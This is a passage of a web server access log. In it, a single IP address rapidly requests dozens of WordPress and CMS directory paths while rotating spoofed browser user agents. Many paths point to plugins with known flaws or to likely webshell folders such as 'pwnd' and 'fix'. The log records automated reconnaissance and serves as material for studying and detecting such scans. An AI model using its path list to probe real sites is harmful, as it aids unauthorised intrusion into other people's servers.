Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:08 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:08 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:08 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:14:08 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:09 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:09 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:09 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:09 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:09 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:10 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:10 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 87.249.133.79 - - [27/Apr/2025:05:14:10 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:10 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:11 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:11 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:11 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:11 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:11 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:12 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:12 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:12 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:12 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 87.249.133.79 - - [27/Apr/2025:05:14:12 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:13 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:13 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:14:13 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:13 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:13 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:14:14 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:14 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:14 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:14 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:14 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:15 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:15 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:15 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:15 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:15 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:16 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:14:16 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:16 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:16 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:16 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:17 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:14:17 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:17 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:17 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:17 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:18 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:18 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:18 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:18 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:18 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:19 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:19 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:19 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:19 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:14:19 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:20 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:20 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:14:20 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:20 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:14:20 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:21 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:21 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:21 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:21 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:21 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:22 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:22 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:22 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:22 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:22 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:23 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:23 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:23 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:23 -0400] "GET /wp-includes/js/tinymce/plugins/paste/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:14:23 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:24 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:24 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:24 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:24 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:24 -0400] "GET /files-and-directories-in-linux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:25 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:14:25 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:25 -0400] "GET /modules/simpletest/tests/themes/test_basetheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 87.249.133.79 - - [27/Apr/2025:05:14:25 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:25 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:26 -0400] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:26 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:26 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:26 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:26 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:27 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:27 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:27 -0400] "GET /wp-content/themes/Avada/includes/lib/inc/fusion-app/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:27 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:28 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:28 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:28 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:28 -0400] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:28 -0400] "GET /wp-content/uploads-webpc/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:29 -0400] "GET /wp-content/plugins/simple/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:29 -0400] "GET /wp-includes/Requests/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:29 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:29 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:29 -0400] "GET /wp-content/plugins/elementor/modules/floating-buttons/classes/render/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:30 -0400] "GET /wp-content/themes/twentytwentytwo/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:30 -0400] "GET /wp-admin/css/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:30 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:30 -0400] "GET /wp-content/plugins/wp-file-manager/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:30 -0400] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:31 -0400] "GET /wp-content/plugins/elementor/assets/js/packages/editor-app-bar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 